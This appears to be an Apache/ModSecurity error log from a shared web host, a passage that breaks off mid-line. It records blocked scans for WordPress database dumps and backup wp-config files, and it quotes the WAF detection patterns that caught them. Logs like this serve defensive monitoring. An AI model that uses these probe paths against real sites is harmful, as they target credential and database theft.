referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:19:17.918231 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.96:29477] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:17.918698 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.96:29477] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:18.007778 2026] [security2:error] [pid 648189:tid 648406] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/data.sql"] [unique_id "ai3zhVWSojQL4F7upKB4OAAAALk"] [Sat Jun 13 18:19:18.083092 2026] [security2:error] [pid 648189:tid 648236] [remote 17.241.75.132:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 132.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zhlWSojQL4F7upKB4PAAA3w8"] [Sat Jun 13 18:19:18.143635 2026] [security2:error] [pid 648189:tid 648448] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/backup/data.sql"] [unique_id "ai3zhlWSojQL4F7upKB4PwAAAOI"] [Sat Jun 13 18:19:18.279714 2026] [security2:error] [pid 648189:tid 648419] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/uploads/data.sql"] [unique_id "ai3zhlWSojQL4F7upKB4RwAAAMY"] [Sat Jun 13 18:19:18.416185 2026] [security2:error] [pid 648189:tid 648480] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/backups/data.sql"] [unique_id "ai3zhlWSojQL4F7upKB4TQAAAP4"] [Sat Jun 13 18:19:18.448690 2026] [access_compat:error] [pid 646876:tid 646953] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:19:18.449171 2026] [access_compat:error] [pid 646876:tid 646953] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9ldmVudDYvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vZXZlbnQ0L3Bvd2Vy [Sat Jun 13 18:19:18.454401 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.48:59099] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:18.454877 2026] [access_compat:error] [pid 648189:tid 648271] [remote 57.141.14.48:59099] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:18.526870 2026] [security2:error] [pid 648189:tid 648349] [remote 17.22.237.182:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 182.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zhlWSojQL4F7upKB4UwABA34"] [Sat Jun 13 18:19:18.552559 2026] [security2:error] [pid 648189:tid 648401] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/backup/database.sql"] [unique_id "ai3zhlWSojQL4F7upKB4VAAAALU"] [Sat Jun 13 18:19:18.566077 2026] [access_compat:error] [pid 646876:tid 646937] [remote 57.141.14.69:36524] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:18.566334 2026] [access_compat:error] [pid 646876:tid 646937] [remote 57.141.14.69:36524] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:18.689404 2026] [security2:error] [pid 648189:tid 648424] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/backups/database.sql"] [unique_id "ai3zhlWSojQL4F7upKB4WQAAAMs"] [Sat Jun 13 18:19:18.701885 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.89:22512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:18.702346 2026] [access_compat:error] [pid 646876:tid 646970] [remote 57.141.14.89:22512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:18.824880 2026] [security2:error] [pid 648189:tid 648454] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/wordpress.sql"] [unique_id "ai3zhlWSojQL4F7upKB4YwAAAOg"] [Sat Jun 13 18:19:18.840722 2026] [security2:error] [pid 648189:tid 648326] [remote 17.22.237.105:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 105.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zhlWSojQL4F7upKB4ZAAAmmc"] [Sat Jun 13 18:19:18.933375 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjIwL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:19:18.933845 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9kZXZpY2Uvc3Vic3lzdGVtL2RldmljZXMvZGV2aWNlOjIwL3BoeXNpY2FsX25vZGU= [Sat Jun 13 18:19:18.968888 2026] [security2:error] [pid 648189:tid 648407] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/backups/wordpress.sql"] [unique_id "ai3zhlWSojQL4F7upKB4aAAAALo"] [Sat Jun 13 18:19:18.983545 2026] [security2:error] [pid 648189:tid 648242] [remote 17.246.23.32:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 32.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zhlWSojQL4F7upKB4agAA7BU"] [Sat Jun 13 18:19:19.094306 2026] [security2:error] [pid 648189:tid 648238] [remote 17.241.219.122:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 122.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zh1WSojQL4F7upKB4bAAAoRE"] [Sat Jun 13 18:19:19.104348 2026] [security2:error] [pid 648189:tid 648433] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/dbdump.sql"] [unique_id "ai3zh1WSojQL4F7upKB4bQAAANQ"] [Sat Jun 13 18:19:19.239459 2026] [access_compat:error] [pid 648189:tid 648303] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:19.239921 2026] [access_compat:error] [pid 648189:tid 648303] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:19.241776 2026] [security2:error] [pid 648189:tid 648411] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/uploads/dbdump.sql"] [unique_id "ai3zh1WSojQL4F7upKB4cwAAAL4"] [Sat Jun 13 18:19:19.376004 2026] [security2:error] [pid 648189:tid 648388] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/backups/dbdump.sql"] [unique_id "ai3zh1WSojQL4F7upKB4egAAAKg"] [Sat Jun 13 18:19:19.445482 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:19:19.445769 2026] [access_compat:error] [pid 646876:tid 646983] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9kZXZpY2UvZHJpdmVyL3NlcmlvMQ== [Sat Jun 13 18:19:19.463864 2026] [security2:error] [pid 648189:tid 648384] [client 114.119.149.43:31855] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "energymeteringtechnology.com"] [uri "/case-studies/bandvulc-tyres"] [unique_id "ai3zh1WSojQL4F7upKB4fwAAAKQ"], referer: http://energymeteringtechnology.com/case-studies [Sat Jun 13 18:19:19.482058 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.40:61590] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:19.482320 2026] [access_compat:error] [pid 648189:tid 648323] [remote 57.141.14.40:61590] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:19.512966 2026] [security2:error] [pid 648189:tid 648406] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sql$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1288"] [id "350590"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access raw SQL files (disable this rule if you require access to files that end with .sql)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-content/backup/dbdump.sql"] [unique_id "ai3zh1WSojQL4F7upKB4gQAAALk"] [Sat Jun 13 18:19:19.648589 2026] [security2:error] [pid 648189:tid 648376] [client 185.177.72.9:15670] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(wp-)?config\\\\.(php\\\\.)?(?:bac?k|o(?:ld|rig)|copy|s(?:ave|wp)|vim?\\\\.|~)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1254"] [id "390597"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup config file (disable this rule if you require access to these backup files)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-config.bak"] [unique_id "ai3zh1WSojQL4F7upKB4iAAAAJw"] [Sat Jun 13 18:19:19.710593 2026] [security2:error] [pid 646876:tid 647095] [client 114.119.145.7:62443] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "cyprusyouth.org"] [uri "/Jzx/59th-and-bethany-home-apartments"] [unique_id "ai3zh9yTkdrNlD40tSG5agAAAFc"], referer: https://cyprusyouth.org/Jzx/sitemap_other.html [Sat Jun 13 18:19:19.782439 2026] [security2:error] [pid 648189:tid 648436] [client 185.177.72.9:15670] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wp-config-sample.php.bak"] [unique_id "ai3zh1WSojQL4F7upKB4kwAAANc"] [Sat Jun 13 18:19:19.893788 2026] [security2:error] [pid 648189:tid 648347] [remote 17.241.75.125:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 125.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "forum.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zh1WSojQL4F7upKB4mgABA3w"] [Sat Jun 13 18:19:19.955006 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:19:19.955762 2026] [access_compat:error] [pid 646876:tid 646880] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:19:20.031793 2026] [security2:error] [pid 648189:tid 648306] [remote 17.246.15.131:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 131.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3ziFWSojQL4F7upKB4nwAAxFQ"] [Sat Jun 13 18:19:20.032596 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.38:27143] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:19:20.032919 2026] [access_compat:error] [pid 646876:tid 646924] [remote 57.141.14.38:27143] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:19:20.050056 2026] [security2:error] [pid 646876:tid 647129] [client 185.177.72.9:15684] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-config\\\\.php(?:\\\\W[a-z]*|bak)" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "300"] [id "900256"] [msg "Wp-Config Backup/edit file request"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/wp-config.php.bak1"] [unique_id "ai3ziNyTkdrNlD40tSG5cgAAAHk"] [Sat Jun 13 18:19:20.325479 2026] [security2:error] [pid 646876:tid 647122] [client 185.177.72.9:15698] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(wp-)?config\\\\.(php\\\\.)?(?:bac?k|o(?:ld|rig)|copy|s(?:ave|wp)|vim?\\\\.|~)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1254"] [id "390597"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup config file (disable this rule if you require access to these backup files)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/wp-config.bak1"] [unique_id "ai3ziNyTkdrNlD40tSG5dgAAAHI"] [Sat Jun 13 18:19:20.396465 2026] [access_compat:error] [pid 